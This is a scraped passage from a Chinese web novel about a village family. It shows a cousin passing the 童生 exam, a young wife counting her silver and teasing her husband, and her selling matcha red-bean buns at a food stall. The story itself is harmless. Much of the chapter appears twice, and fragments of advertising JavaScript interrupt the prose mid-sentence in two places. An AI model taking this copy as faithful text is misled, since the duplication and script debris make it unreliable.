眼下被拴着走,也只是这里嗅嗅,那里看看而已。 况且现在已经临近午时了,很多孩童都提前回去等开饭了,路上自然没有其他身影。 徐芝也感到肚饿,便苦着小脸问道: “姐,我们都在外面快一个时辰了,到底啥时候能回家啊?我肚子都饿了!” 那路上还有不知从哪里飘来的香味,徐莹其实也饿了,可想起李银屏那副怒气冲冲的嘴脸,她还是不想触这个霉头,牵着黑虎往前走着,嘴里说道: “再过一会儿吧,娘的脾气你又不是不清楚,你觉得是挨骂重,还是吃饭重?你……” 谁知话音未落,身后传来哎哟一声,正是徐芝的声响。 徐莹赶忙回头看去,后者摔在地上,而身边有个人影径直掠过,连句话也不讲。 黑虎率先反应过来,朝着那人影汪汪吠叫着,要不是被徐莹牵着,估计早就扑上去了。 徐莹的心情本就不顺,见到此景,便不由得大声责备道: “是哪个睁眼瞎,撞了人没看到吗?连句话也不说,急着去投胎啊?” 听到这话,那前面的人影果然停下来了,可转过身来却是沉着一张脸,对上她更是如同挥走苍蝇一般,嫌弃道: “去去去,哪来的绊脚石,你小爷我有要紧事要去做呢,分明是你们挡了我的道儿,谁叫你们走在中间的?到时候不是我撞了,也会有别人撞!” 徐莹定睛一看,她当以为是哪个倚老卖老的长辈,结果眼前这个扎着头的少年,也不过就比自己年长个几岁,竟然这样不客气,不禁气笑道: “什么小爷大爷的,你真不害臊!撞了人不道歉你还有理了?不要脸!” “嗳我说你真是——” 那人听了就要上前,黑虎立马龇牙咧嘴地大叫起来。 这黑虎寻常不温不火时,配上那两颗小豆眉倒也显得憨状可掬,可一旦发起怒,狗脸上的横肉都立起来了,有种一口就能咬下一条腿的气势。 那人果然就停了脚,更是害怕地往后退了退,才哼声道: “我今天高兴,不和你们一般见识!” 说完,他又急匆匆地往前走了,仿佛真有什么急事。 徐莹啐了一口,把徐芝给拉了起来,拍拍身上的泥,问道: “芝儿,你没事吧?” 徐芝仍然苦着脸道: “姐,你与其和他吵架,也早该把我拉起来了!” 徐莹啧了一声,抱怨道: “也不知哪来的短命鬼,猴急猴急的,不知道的还以为是啥大喜事呢!” 徐芝只是走路时被撞了个趔趄,一个不稳才倒下的,感觉身上没事,她转了转眼珠子,提议道: “姐,左不过我们现在闲着无聊,又不能回家,不如我们跟过去瞧瞧到底发生了啥,我倒要看看他为了啥才这样急吼吼的!” 徐莹考虑了一会儿,点头答应,两人便朝着那方向也去了。 可是越走,她们却越觉得有几分熟悉,直到来到一处农居处,她们亲眼见着那男子一溜烟就进了门,应该就是他的家了。 徐莹皱着眉细细一想,随即吃了一惊,道: “这、这里好像是大嫂的娘家啊!” 象山村中也是有贫富区分的,那穷人家一般住得的都是茅草屋,只有再有些家底的会选择住夯土墙木梁房,而村里也没很多人家住的是后面这种房子。 再加上丁家没有分家,人口多,还有那两棵枣树做标志,村里人几乎都知道哪家是丁家。 徐芝也讶异道: “难不成刚才那人是大嫂的亲戚?不过看他年龄,估计是兄弟吧?” 徐莹又是蹙眉道: “大嫂那么好,咋会有这种兄弟?肯定不是一个爹娘生的!” “姐,我们快去看看,万一真有啥事,咱们回去之后还能告诉大嫂呐!” 徐莹认为这话不错,而且她自己也是玩心未消,便悄悄一块儿去了丁家旁边。 恰巧某个角落里置着一个破旧水缸,徐莹便找了个枝头把狗绳绑了,又小声令黑虎望风,自己和徐芝小心谨慎地爬上了破缸,踮着脚仰着头,才好不容易扒着隐蔽低墙,悄悄窥到了一丝院里的景象。 “爹!娘!奶奶!我中了!我中了!” 吴棠和蒋氏在外听见这兴奋的话语皆是一怔,慌忙从屋里出来,就见丁笙飞也似地跑来,满脸是汗水和笑容。 吴棠先反应过来道: “真的吗笙儿?是不是放榜了,你中了童生了?这是真的还是假的?!” “当然是真的,娘,先生还特地让我们中的人回去报喜呢!” 丁笙挺着胸得意道: “这回中了童生的人压根没几个!我见到我名字后,立马就赶回家来了!” 蒋氏这时也反应过来了,喜得老脸上眉飞色舞,活像吃了什么仙丹一样精神抖擞起来,喜形于色道: “好!好!我就知道笙儿是个有本事的,这下光宗耀祖,我们老丁家也出了个有出息的人了!” 丁笙问道: “娘,奶奶,我爹我爷呢?这事儿也得让他们知道才是!” “你这孩子急个啥?你爹和你爷当然是下地去了,要不你就直接去地里告诉你爹你爷这件事,也好让地里其他人知晓知晓,这是件大好事,就该让全村的人都晓得才好哩!” 蒋氏一边拍着丁笙的背一边笑道: “快去吧,到时候晚上回来,再好好犒劳犒劳你!” 那丁笙巴不得想让所有人都知道他中了榜,毕竟附近虽是有村塾,可也没什么人家有条件让自家孩子去上的。 而上了的能不能中榜,那又是要看努力和运气了,所以象山村里几乎不曾出过读书人。 可没想到丁笙去上了几年私塾,竟然还真中了童生,这可是大年五更里出月亮——象山村里的头一遭。 也是整个丁家的喜事,所以丁家就立马忘了他先前落榜过一回。 已经花了那么多钱,不过就凭借这个身份,今后在村里,他们的福气还在后头呢! 丁笙又重新离开家,而喜笑颜开的蒋氏又赶忙吩咐吴棠道: “老大媳妇儿,你快去买点好酒好菜来,今晚上咱们要吃点好的才行,别想着费钱,快去!” 吴棠何尝不是咧着嘴闭不上,更是有种扬眉吐气的神色,听了蒋氏的话,她立刻答应,转身就去屋里拿钱,再随之出门了。 徐莹徐芝见蒋氏乐得屁颠屁颠地也进了屋,又悄悄下来了。 徐芝噘着嘴道: “没想到他真有喜事,还是件大好事!就他那样的人也是读书人?要不是见到了,我还真不信!” 徐莹也是闷闷不乐的,而就在这时,她们听见远处隐隐约约有人喊道: “莹儿!——芝儿!——你们在哪儿——” 黑虎颤了颤耳朵,认出了这个声音,开始在原地打着圈。 徐芝笑道: “这是大哥的声音,大哥来找我们了!” 徐莹复又拿起狗绳,也说道: “估计是家里好了,我们快走吧!” 于是最后,兄妹仨聚在一起,徐晔见到徐芝的裙摆上沾满了泥巴,问道: “你们跑到哪里去疯了?搞得那么脏。” 徐芝拉着徐晔的手,徐莹一个没注意,她就开始告状: “不是我们疯的,是有人撞了我,我不小心摔的。” “啥?” 徐晔当即脸色沉下,再问道: “看清楚是谁了吗?” 徐莹叹道: “看到了,但……那是大嫂娘家里的人!哥,你可别为了这事和大嫂有啥的啊。” 徐晔一顿,就没再说这件事了,松了口道: “我们还是先回家吧,午食要做好了,你们一定饿了吧?快走吧。” 走在路上,徐莹还不由自主地担忧道: “哥,我们走之前,娘发了好大脾气,现在是不是还生着气呢?” 徐晔安慰道: “放心吧,虽是发了脾气,却也有过了的时候不是?咱们回去乖乖吃饭就是了,今天有好吃的呢!” 果然听到有好吃的,姐妹俩就不再细问了,毕竟她们也是真的饿了。 而回到家后,她们果然闻到了十分浓郁的香味,而这种香味好像只有炖肉的时刻才会出现,不禁多闻了几下,馋涎欲滴。 原来是那餐桌上放着一大碗浓油赤酱的红烧鲤鱼,另外就是野菜炒的肉干、韭菜炒的鸡子,还有一碗大头菜丝汤,一盆分量只多不少的糙米饭。 虽是肚饿眼馋,可徐莹心里却起了疑。 这又不是逢年过节的,怎么做了那么多好吃的? '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >徐芝就没那么多心眼了,哇了一声就喊道: “大哥果然没骗我,今天还真有那么多好吃的! “笑话,我啥时候骗过你?” 徐晔摸摸她的脑袋,嘱咐道: “去洗个手和脸,再和你姐盛饭去。” 徐莹徐芝答应,也松开了黑虎去做事了,而黑虎则是也早就被这香味吸引,摇着尾巴就眼睛一眨不眨地往桌面上看。 徐晔也摸摸它的头,笑道: “你急个啥,到时候少不了你的。” 一家子聚在一块儿,就能开饭了,不过这顿饭却是吃得挺沉默。 徐莹明白,一定是她和徐芝走后,家里发生了什么事情,可那事自己去问估摸着是问不明白的,只能暂且放下,反正家里的日子还得继续往下过。 那件事过后,丁宝珠和徐晔仍是住在一起,可不知怎的,他们之间反倒比以前更生分了点。 可这生分也并不是素不相识那种,而是隐隐之中感到有点尴尬和腼腆。 特别是徐晔,有时候都不敢正眼瞧她,家里也随之安静下来。 不过在那之前说好的事还是要做的,徐晔从家里找秤出来,丁宝珠拿来把那银子给称了,发现柳叔恒给她封的那笔银子,足足有八两,加上她卖松针汽水方子的那些,竟然有二十两银子! 这下就连她自己也震惊了。 自己这可是头一回拥有着几十两银子呢! 徐晔当然也是大吃一惊,有些年里,就算是他和爹进深山打到猎物再拿去卖,恐怕也到不了这个数。 却没想到丁宝珠仅仅是做几道吃食,竟这么轻而易举地就办到了? “你……” 徐晔撇撇嘴,最后才吐出一句: “你可真是厉害!” 丁宝珠笑道:“也是我有几分运气,遇到好人了,不然也拿不到这些。徐晔,这些我们是先放着,还是?” “既是你挣的,随你咋处置就是了。”徐晔道。 丁宝珠考虑了一会儿,便说: “那我还是想去摆摊子做买卖,不过……要单单是一个摊子,现在未免小了些,有时候带的吃食卖得太快了。” “而且虽说有了这些钱,可是不往里添,总有一日还是会花完的,所以这活儿也不能停。” 徐晔霎霎眼,问道: “怎么,莫非你是想开店?” 二十两银子都能建屋子了,要说租买个铺子做生意,那好像也不是那么拮据。 丁宝珠笑着摇摇头: “二十两看似很多,砸进一个店里没多久就花光了,但是想要把店开起来,那还要得多哩。我是想把我的摊子先给改造一下,这些钱一定是够的。” 徐晔颔首道: “也行,你看着办,只要最后你方便就好了。” 丁宝珠听完,只是用手心托着下颏,而胳膊肘则是搁在桌面上,似弯非弯着眼,似翘非翘着唇,忽然说道: “那这样的话……我得去林木匠家里继续订做器具了哦?” 徐晔此时倒也听出来了些许——这丁宝珠,分明是在故意打趣自己呢。 但想着先前的那段轶事,徐晔放在嘴里嚼嚼,到底是有几分不爽,可瞧着丁宝珠那满是揶揄的神气,他把头一撇,哼声道: “你要去便去,管我啥事?” 丁宝珠嘻嘻笑道: “你放心,我对林家人早就已经没感觉了,你没看那老林是个嗜酒的酒蒙子么?就是那小林,也是畏畏缩缩的,我看不过去,还是咱家好!” 也好在屋里没有点蜡烛,徐晔听了她这番话,不禁又觉得脸上热热的——不过最近天气是比较热。 “行了行了,说这些做啥?那么晚了,我要先睡了。” 徐晔挥挥手,就往床边去,丁宝珠也只好收拾了所有的东西,拆髻脱衣鞋上床跟着睡下。 可是寂静的夜里,没过多久就感觉到热了,毕竟那床被子还是天冷时做的,那厚度在之前还好,现在就像是重重地压着,把身上都盖出了一抹汗。 徐晔迷迷糊糊地醒来,惺忪地坐起身,还是夜半时分。 可他下意识转头看去,却发现丁宝珠把她那一边被子都踢走了,只剩下她自己的里衣半敞,里面的抹胸儿好像都露出了些。 徐晔皱了皱眉,这人也不怕生病了? 但热得睡不着,他好歹用被角将她的肚脐眼给盖上了。 嗯,只有这个地方不能着凉! 84. 中童生 然而在这时候,那徐莹和徐芝,正牵着黑虎继续游荡在村里的泥土地上。 平日里黑虎会在自家旁边转悠转悠,还有被徐晔带着上山,所以根本不用关心它的运动量。 眼下被拴着走,也只是这里嗅嗅,那里看看而已。 况且现在已经临近午时了,很多孩童都提前回去等开饭了,路上自然没有其他身影。 徐芝也感到肚饿,便苦着小脸问道: “姐,我们都在外面快一个时辰了,到底啥时候能回家啊?我肚子都饿了!” 那路上还有不知从哪里飘来的香味,徐莹其实也饿了,可想起李银屏那副怒气冲冲的嘴脸,她还是不想触这个霉头,牵着黑虎往前走着,嘴里说道: “再过一会儿吧,娘的脾气你又不是不清楚,你觉得是挨骂重,还是吃饭重?你……” 谁知话音未落,身后传来哎哟一声,正是徐芝的声响。 徐莹赶忙回头看去,后者摔在地上,而身边有个人影径直掠过,连句话也不讲。 黑虎率先反应过来,朝着那人影汪汪吠叫着,要不是被徐莹牵着,估计早就扑上去了。 徐莹的心情本就不顺,见到此景,便不由得大声责备道: “是哪个睁眼瞎,撞了人没看到吗?连句话也不说,急着去投胎啊?” 听到这话,那前面的人影果然停下来了,可转过身来却是沉着一张脸,对上她更是如同挥走苍蝇一般,嫌弃道: “去去去,哪来的绊脚石,你小爷我有要紧事要去做呢,分明是你们挡了我的道儿,谁叫你们走在中间的?到时候不是我撞了,也会有别人撞!” 徐莹定睛一看,她当以为是哪个倚老卖老的长辈,结果眼前这个扎着头的少年,也不过就比自己年长个几岁,竟然这样不客气,不禁气笑道: “什么小爷大爷的,你真不害臊!撞了人不道歉你还有理了?不要脸!” “嗳我说你真是——” 那人听了就要上前,黑虎立马龇牙咧嘴地大叫起来。 这黑虎寻常不温不火时,配上那两颗小豆眉倒也显得憨状可掬,可一旦发起怒,狗脸上的横肉都立起来了,有种一口就能咬下一条腿的气势。 那人果然就停了脚,更是害怕地往后退了退,才哼声道: “我今天高兴,不和你们一般见识!” 说完,他又急匆匆地往前走了,仿佛真有什么急事。 徐莹啐了一口,把徐芝给拉了起来,拍拍身上的泥,问道: “芝儿,你没事吧?” 徐芝仍然苦着脸道: “姐,你与其和他吵架,也早该把我拉起来了!” 徐莹啧了一声,抱怨道: “也不知哪来的短命鬼,猴急猴急的,不知道的还以为是啥大喜事呢!” 徐芝只是走路时被撞了个趔趄,一个不稳才倒下的,感觉身上没事,她转了转眼珠子,提议道: “姐,左不过我们现在闲着无聊,又不能回家,不如我们跟过去瞧瞧到底发生了啥,我倒要看看他为了啥才这样急吼吼的!” 徐莹考虑了一会儿,点头答应,两人便朝着那方向也去了。 可是越走,她们却越觉得有几分熟悉,直到来到一处农居处,她们亲眼见着那男子一溜烟就进了门,应该就是他的家了。 徐莹皱着眉细细一想,随即吃了一惊,道: “这、这里好像是大嫂的娘家啊!” 象山村中也是有贫富区分的,那穷人家一般住得的都是茅草屋,只有再有些家底的会选择住夯土墙木梁房,而村里也没很多人家住的是后面这种房子。 再加上丁家没有分家,人口多,还有那两棵枣树做标志,村里人几乎都知道哪家是丁家。 徐芝也讶异道: “难不成刚才那人是大嫂的亲戚?不过看他年龄,估计是兄弟吧?” 徐莹又是蹙眉道: “大嫂那么好,咋会有这种兄弟?肯定不是一个爹娘生的!” “姐,我们快去看看,万一真有啥事,咱们回去之后还能告诉大嫂呐!” 徐莹认为这话不错,而且她自己也是玩心未消,便悄悄一块儿去了丁家旁边。 恰巧某个角落里置着一个破旧水缸,徐莹便找了个枝头把狗绳绑了,又小声令黑虎望风,自己和徐芝小心谨慎地爬上了破缸,踮着脚仰着头,才好不容易扒着隐蔽低墙,悄悄窥到了一丝院里的景象。 “爹!娘!奶奶!我中了!我中了!” 吴棠和蒋氏在外听见这兴奋的话语皆是一怔,慌忙从屋里出来,就见丁笙飞也似地跑来,满脸是汗水和笑容。 吴棠先反应过来道: “真的吗笙儿?是不是放榜了,你中了童生了?这是真的还是假的?!” “当然是真的,娘,先生还特地让我们中的人回去报喜呢!” 丁笙挺着胸得意道: “这回中了童生的人压根没几个!我见到我名字后,立马就赶回家来了!” 蒋氏这时也反应过来了,喜得老脸上眉飞色舞,活像吃了什么仙丹一样精神抖擞起来,喜形于色道: “好!好!我就知道笙儿是个有本事的,这下光宗耀祖,我们老丁家也出了个有出息的人了!” 丁笙问道: “娘,奶奶,我爹我爷呢?这事儿也得让他们知道才是!” “你这孩子急个啥?你爹和你爷当然是下地去了,要不你就直接去地里告诉你爹你爷这件事,也好让地里其他人知晓知晓,这是件大好事,就该让全村的人都晓得才好哩!” 蒋氏一边拍着丁笙的背一边笑道: “快去吧,到时候晚上回来,再好好犒劳犒劳你!” 那丁笙巴不得想让所有人都知道他中了榜,毕竟附近虽是有村塾,可也没什么人家有条件让自家孩子去上的。 而上了的能不能中榜,那又是要看努力和运气了,所以象山村里几乎不曾出过读书人。 可没想到丁笙去上了几年私塾,竟然还真中了童生,这可是大年五更里出月亮——象山村里的头一遭。 也是整个丁家的喜事,所以丁家就立马忘了他先前落榜过一回。 已经花了那么多钱,不过就凭借这个身份,今后在村里,他们的福气还在后头呢! 丁笙又重新离开家,而喜笑颜开的蒋氏又赶忙吩咐吴棠道: “老大媳妇儿,你快去买点好酒好菜来,今晚上咱们要吃点好的才行,别想着费钱,快去!” 吴棠何尝不是咧着嘴闭不上,更是有种扬眉吐气的神色,听了蒋氏的话,她立刻答应,转身就去屋里拿钱,再随之出门了。 徐莹徐芝见蒋氏乐得屁颠屁颠地也进了屋,又悄悄下来了。 徐芝噘着嘴道: “没想到他真有喜事,还是件大好事!就他那样的人也是读书人?要不是见到了,我还真不信!” 徐莹也是闷闷不乐的,而就在这时,她们听见远处隐隐约约有人喊道: “莹儿!——芝儿!——你们在哪儿——” 黑虎颤了颤耳朵,认出了这个声音,开始在原地打着圈。 徐芝笑道: “这是大哥的声音,大哥来找我们了!” 徐莹复又拿起狗绳,也说道: “估计是家里好了,我们快走吧!” 于是最后,兄妹仨聚在一起,徐晔见到徐芝的裙摆上沾满了泥巴,问道: “你们跑到哪里去疯了?搞得那么脏。” 徐芝拉着徐晔的手,徐莹一个没注意,她就开始告状: “不是我们疯的,是有人撞了我,我不小心摔的。” “啥?” 徐晔当即脸色沉下,再问道: “看清楚是谁了吗?” 徐莹叹道: “看到了,但……那是大嫂娘家里的人!哥,你可别为了这事和大嫂有啥的啊。” 徐晔一顿,就没再说这件事了,松了口道: “我们还是先回家吧,午食要做好了,你们一定饿了吧?快走吧。” 走在路上,徐莹还不由自主地担忧道: “哥,我们走之前,娘发了好大脾气,现在是不是还生着气呢?” 徐晔安慰道: “放心吧,虽是发了脾气,却也有过了的时候不是?咱们回去乖乖吃饭就是了,今天有好吃的呢!” 果然听到有好吃的,姐妹俩就不再细问了,毕竟她们也是真的饿了。 而回到家后,她们果然闻到了十分浓郁的香味,而这种香味好像只有炖肉的时刻才会出现,不禁多闻了几下,馋涎欲滴。 原来是那餐桌上放着一大碗浓油赤酱的红烧鲤鱼,另外就是野菜炒的肉干、韭菜炒的鸡子,还有一碗大头菜丝汤,一盆分量只多不少的糙米饭。 虽是肚饿眼馋,可徐莹心里却起了疑。 这又不是逢年过节的,怎么做了那么多好吃的? '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >徐芝就没那么多心眼了,哇了一声就喊道: “大哥果然没骗我,今天还真有那么多好吃的! “笑话,我啥时候骗过你?” 徐晔摸摸她的脑袋,嘱咐道: “去洗个手和脸,再和你姐盛饭去。” 徐莹徐芝答应,也松开了黑虎去做事了,而黑虎则是也早就被这香味吸引,摇着尾巴就眼睛一眨不眨地往桌面上看。 徐晔也摸摸它的头,笑道: “你急个啥,到时候少不了你的。” 一家子聚在一块儿,就能开饭了,不过这顿饭却是吃得挺沉默。 徐莹明白,一定是她和徐芝走后,家里发生了什么事情,可那事自己去问估摸着是问不明白的,只能暂且放下,反正家里的日子还得继续往下过。 那件事过后,丁宝珠和徐晔仍是住在一起,可不知怎的,他们之间反倒比以前更生分了点。 可这生分也并不是素不相识那种,而是隐隐之中感到有点尴尬和腼腆。 特别是徐晔,有时候都不敢正眼瞧她,家里也随之安静下来。 不过在那之前说好的事还是要做的,徐晔从家里找秤出来,丁宝珠拿来把那银子给称了,发现柳叔恒给她封的那笔银子,足足有八两,加上她卖松针汽水方子的那些,竟然有二十两银子! 这下就连她自己也震惊了。 自己这可是头一回拥有着几十两银子呢! 徐晔当然也是大吃一惊,有些年里,就算是他和爹进深山打到猎物再拿去卖,恐怕也到不了这个数。 却没想到丁宝珠仅仅是做几道吃食,竟这么轻而易举地就办到了? “你……” 徐晔撇撇嘴,最后才吐出一句: “你可真是厉害!” 丁宝珠笑道:“也是我有几分运气,遇到好人了,不然也拿不到这些。徐晔,这些我们是先放着,还是?” “既是你挣的,随你咋处置就是了。”徐晔道。 丁宝珠考虑了一会儿,便说: “那我还是想去摆摊子做买卖,不过……要单单是一个摊子,现在未免小了些,有时候带的吃食卖得太快了。” “而且虽说有了这些钱,可是不往里添,总有一日还是会花完的,所以这活儿也不能停。” 徐晔霎霎眼,问道: “怎么,莫非你是想开店?” 二十两银子都能建屋子了,要说租买个铺子做生意,那好像也不是那么拮据。 丁宝珠笑着摇摇头: “二十两看似很多,砸进一个店里没多久就花光了,但是想要把店开起来,那还要得多哩。我是想把我的摊子先给改造一下,这些钱一定是够的。” 徐晔颔首道: “也行,你看着办,只要最后你方便就好了。” 丁宝珠听完,只是用手心托着下颏,而胳膊肘则是搁在桌面上,似弯非弯着眼,似翘非翘着唇,忽然说道: “那这样的话……我得去林木匠家里继续订做器具了哦?” 徐晔此时倒也听出来了些许——这丁宝珠,分明是在故意打趣自己呢。 但想着先前的那段轶事,徐晔放在嘴里嚼嚼,到底是有几分不爽,可瞧着丁宝珠那满是揶揄的神气,他把头一撇,哼声道: “你要去便去,管我啥事?” 丁宝珠嘻嘻笑道: “你放心,我对林家人早就已经没感觉了,你没看那老林是个嗜酒的酒蒙子么?就是那小林,也是畏畏缩缩的,我看不过去,还是咱家好!” 也好在屋里没有点蜡烛,徐晔听了她这番话,不禁又觉得脸上热热的——不过最近天气是比较热。 “行了行了,说这些做啥?那么晚了,我要先睡了。” 徐晔挥挥手,就往床边去,丁宝珠也只好收拾了所有的东西,拆髻脱衣鞋上床跟着睡下。 可是寂静的夜里,没过多久就感觉到热了,毕竟那床被子还是天冷时做的,那厚度在之前还好,现在就像是重重地压着,把身上都盖出了一抹汗。 徐晔迷迷糊糊地醒来,惺忪地坐起身,还是夜半时分。 可他下意识转头看去,却发现丁宝珠把她那一边被子都踢走了,只剩下她自己的里衣半敞,里面的抹胸儿好像都露出了些。 徐晔皱了皱眉,这人也不怕生病了? 但热得睡不着,他好歹用被角将她的肚脐眼给盖上了。 嗯,只有这个地方不能着凉! 85. 抹茶豆沙馒头 没隔数日,徐莹徐芝提前得知的那件事,就传遍了整个象山村。 徐晔和徐翊是在田地里从别人口中得知的,据说就连村长都亲自去了趟丁家祝贺。 那大房面上有光,花钱也利索了,还留村长在家里吃了酒菜。 也不知在后者面前聊了什么,主客尽欢,村里人也皆认为丁家这回是又长了脸面了。 然而他们还各个知晓,那丁宝珠是丁笙的大姐,虽说隔了一房,却也是血亲。 而前者如今又嫁到了徐家,徐家不免也就跟着多了份亲,便有人过来若有若无地关心了几句。 往昔徐家住得偏僻,村里邻间少有走动的,却没想到这事儿一出,反而有了外人上门。 但那徐翊徐晔从未听过丁宝珠提及那大房的孩子,徐晔更是登门见到过,知道丁宝珠压根就不喜这些,所以也都是敷衍,答过就罢了。 不过丁宝珠就不怎么关心了,这几天她又去买了包好茶,再精心做了不少抹茶粉,这茶叶的质量上去了,那抹茶粉瞧上去就更加轻盈细腻,气味也愈发浓郁了。 丁宝珠照旧做了一批枣泥凉糕与抹茶红豆凉糕,毕竟这是她推出的第一款吃食,直到现在也仍有受众。 只是做了那么多抹茶粉,手里有了余货,她就想着再做一款和抹茶相关的吃食来。 可惜抹茶更适合做甜点,但她大部分食材和制作吃食的工具都是没有的,所以只好做简单的一款——抹茶豆沙馒头。 凉糕做完还能够多放一段时间,就算冷吃也是没事的,但这包子馒头就要吃刚出炉新鲜热乎乎的才好,于是她订做的那保温桶,这时就派上了用场。 而那两个十分大的保温桶,也比她之前的筐子大,这下她能带去售卖的吃食数量就更多了。 桶子的两边还带着箍,有着拉环,这样就能够用扁担挑起来走了。 但为了自己的肩膀,她还是想着有朝一日能有个更方便的办法。 而桶子里还有夹层,这也是保温的关键所在,那夹层是专门为了在里面塞满保温材料的。 只是丁宝珠目前也没什么好的条件,所以就在里面塞满了草絮,也是能撑住的。 要做豆沙馒头,丁宝珠那是手到擒来,而且在包好豆沙馅儿后,她还把外表做成了可爱的南瓜造型,再上笼屉蒸了,一个个都变大了一倍,变成了胖鼓鼓的样子。 不过话又说回来,她好像也没在这里有见到过南瓜,不然她还可以做其他吃食。 除此之外,她也没有忘记吃食后所需的饮品,正巧她从荆芥那儿得到的麦冬都已晒干了,去净了那些须根杂质后,她就煎了整整一坛子的麦冬熟水,准备拿去卖了。 馒头需要一大早来做,丁宝珠早早起来收拾妥当,还不忘把家里的早食给做好了,就要挑担子离开家。 只是除了她这个儿媳妇,还起得早的,自然就是李银屏这个做媳妇的了。 经过那件事后,她倒是也安分了点,也不知是真觉得自己不对,还是被点醒了,亦或是被家里人说后就收敛了许多。 只是那直肠子的性子还是没改,见丁宝珠径直要走,就拦着说道: “嗳你等等,这么着急做啥?也不把早饭吃了?” 丁宝珠摇头道: “姨母,你们吃吧,早食预备得差不多了,锅里还煮着粥,我还想着去占一个好位置哩!” “你一去,等你回来都过午了,哪能不吃东西?好歹吃一个。”李银屏叮嘱着。 丁宝珠挠挠头,不过李银屏这番话却是能听得出好意,她总不能无端端地撂了脸子。 就在这时,房门被打开,徐晔揉着眼走了出来,一见她们两人单独在院里,不禁感到一丝紧张,这紧张甚至浮动到了脸面上,问道: “这是咋了?” “没什么,我要出门了。” 丁宝珠没细说,不过本来就不是啥大事。 李银屏动了动嘴皮子,可又不知想到了什么,最终啥也没说,就转身去了灶房。 徐晔便上前道: “我看你今天那么早就起来干活,现在还早呢,而且你还有那么多东西要带,等吃了早食,我帮你一齐带过去吧。” 丁宝珠挑着的两大桶里面都是凉糕和馒头,可还有一坛子麦冬熟水呢。 她想了想,也就答应了,又笑道: “你们不必这么小心翼翼的,我可不是那针眼儿那样小的心眼子,今后还要继续过日子呐。” 徐晔听了,总感觉她口中说的那几个字,莫名令他心头热融融的,不由得也微笑道: “好,知道了。” 早食吃那抹茶豆沙馒头,配萝卜干、大头菜、稀粥,还有煮鸡子吃。 不过这煮鸡子都是给小辈吃了,丁宝珠也有。 但是她吃着,却想到灶房里的鸡子可能又吃完了,毕竟打一开始就是她去买的鸡子回来吃,之后就一直是她去买了,所以心里有数。 念到这,她便说道: “等我今天收摊了,再去买些鸡子回来吧?” 不吃肉的时候,还是吃鸡子最好,就连豆腐也比不过。 徐翊听了,点头同意道: “也好,马上就要入夏了,到时候就是该吃鸡子呢。” “只是我知道,晔儿媳妇总是用自己的钱去买,买来了都是我们一家子吃的,那多不好意思?媳妇儿,一会儿你去取点钱给儿媳妇,等收摊了后就去买点吧。” 丁宝珠笑道: “没事的爹,我买鸡子都是去我三婶那儿买的,在她那里买,又放心,可能还比外面的便宜咧,也花不了多少钱。” 李银屏喝了口粥道: “你既说花不了多少钱,那就是拿点钱去买又怎的?咱家还没穷到那份上。” 嗯,语气还是以前的语气,话语倒是不同了。 徐翊欣慰地笑了笑,随即发话道: “好了,我们快点吃饭吧,之后都有事情做呢。” 吃过饭,徐晔便和丁宝珠挑着担子,拿着坛子,一块儿来到了村外的道儿上。 大道儿上这个时刻人烟稀少,只是有几个小贩,已经开始整理自己的摊子,在上面摆放着自己要售卖的商品。 而那已转变为雪花一般的杏花树,这时节也差不多要到凋谢的时候了。 偶尔有一阵轻风袭来,那花瓣纷纷落下,倒真像是局部地区下了一阵小雪 当真是屋上春鸠鸣,村边杏花白。 徐晔见着,不自觉心里竟然生出了一阵感叹。 遥想彼时,这杏花还如同胭脂那样鲜艳,如今白花花的一片,悉数落叶归根,春天也是要过去了。 ……等等,他啥时候这样多愁善感起来了? 丁宝珠简单收拾了下自己的摊子,偏头见徐晔像是发呆,出声提醒道: “谢谢你帮我拿东西,你该回去了吧?” 徐晔回过神,继而不满道: “你就那么想让我走啊?” 丁宝珠眯了眯眼,看那别扭样儿,莫非他是想留下? 可她依然笑道: “你不是还要和爹下地去吗?帮好我的忙,你不得去帮爹的忙了?” 见徐晔脸色臭臭的,丁宝珠又去取了一张油纸,里面包了几块抹茶红豆凉糕再递过去,说道: “喏,这个一起带去,你吃了,或者也让其他哥们儿尝尝,你不是爱吃这个口味的吗?” 徐晔不接那凉糕,嗤了一声道: “行了,这个还是你留下来卖吧,我早就说过我喜欢,可你啥时候再做过给我?结果别人一说想吃点心,你就直接给去做了!” 徐晔原先也没想着说到那事,可是不由自主地说出口了,口里便觉得又有点酸唧唧的。 丁宝珠打趣道: “那要不你也给我八两银子,我绞尽脑汁做你喜欢的口味给你吃?” 徐晔瞪了她一眼,气呼呼地就要走,丁宝珠笑着拉着他,还是把那包凉糕塞给他了。 送走徐晔,丁宝珠就开始叫卖了。 凉糕是有固定客源的,就看那客源今日会不会来到这里,所以这也是摆摊的坏处。 不过好在没过多久,就有人过来笑道: “娘子,你可算是又出摊了啊?” 丁宝珠定睛一瞧,也笑道: “大叔,原来是你啊!” 那正是篾匠大叔,看来他依旧勤勤恳恳地在外摆摊,又是忠实顾客,一听到丁宝珠的吆喝也就来了。 那篾匠大叔姓张,单名一个简字。他又是寒暄问道: “娘子前面咋没有出摊呢?我在这里还遇到过特地来打听你这吃食的人呢!” 丁宝珠解释道: “前几日我在镇上摆摊卖了点吃食,现在又重新回来了——大叔,你看看今天要什么凉糕?不过我还做了新吃食,你也瞧瞧吧?” “哦?是啥?” 张简好奇地问道。 丁宝珠还在那桶上盖了块布头,几乎把上半桶都给裹住了,但这也是装着抹茶豆沙馒头的那个桶里。 她继而揭开布头和桶盖,又笑道: “我这次做了末茶豆沙馅儿的馒头,虽是和凉糕差不多,但比凉糕能填肚,还是热腾腾刚做好的,适合做早食。” “而且还有新煎的麦冬熟水,最是清热解渴的,大叔你要不要试试?” “哎呦,你这里果然还是有那么多新花头!” 张简感叹道,但他好像真对那馒头感了兴趣,又说道: “馒头好啊,是比凉糕顶饿,咋卖的?” “和凉糕一样,都是五文钱两个。” 做馒头的面粉是粗细搭配,就没有水磨糯米粉贵了,可里面用了那质量更好的抹茶粉,所以价钱还是摆在那。 但吃过她摊子的抹茶红豆吃食的人们,都明白这个搭配不仅味道浓郁,里面的豆沙更是绵密甜蜜,衬得比一般的豆沙还要香甜,所以她的生意直到现在也不差。 张简作为老顾客,他家里的孩子喜欢吃枣泥儿的,而他媳妇就喜欢这末茶红豆凉糕,他自己也就跟着吃了,只是凉糕到底还是做点心的多,但丁宝珠也不是一直都卖凉糕,所以他也经常光顾生意。 可这馒头能说是大多数人的早食选择,范围更广了,何况还是老少皆宜的豆沙包。 所以张简听闻后,立马就想买来尝尝。 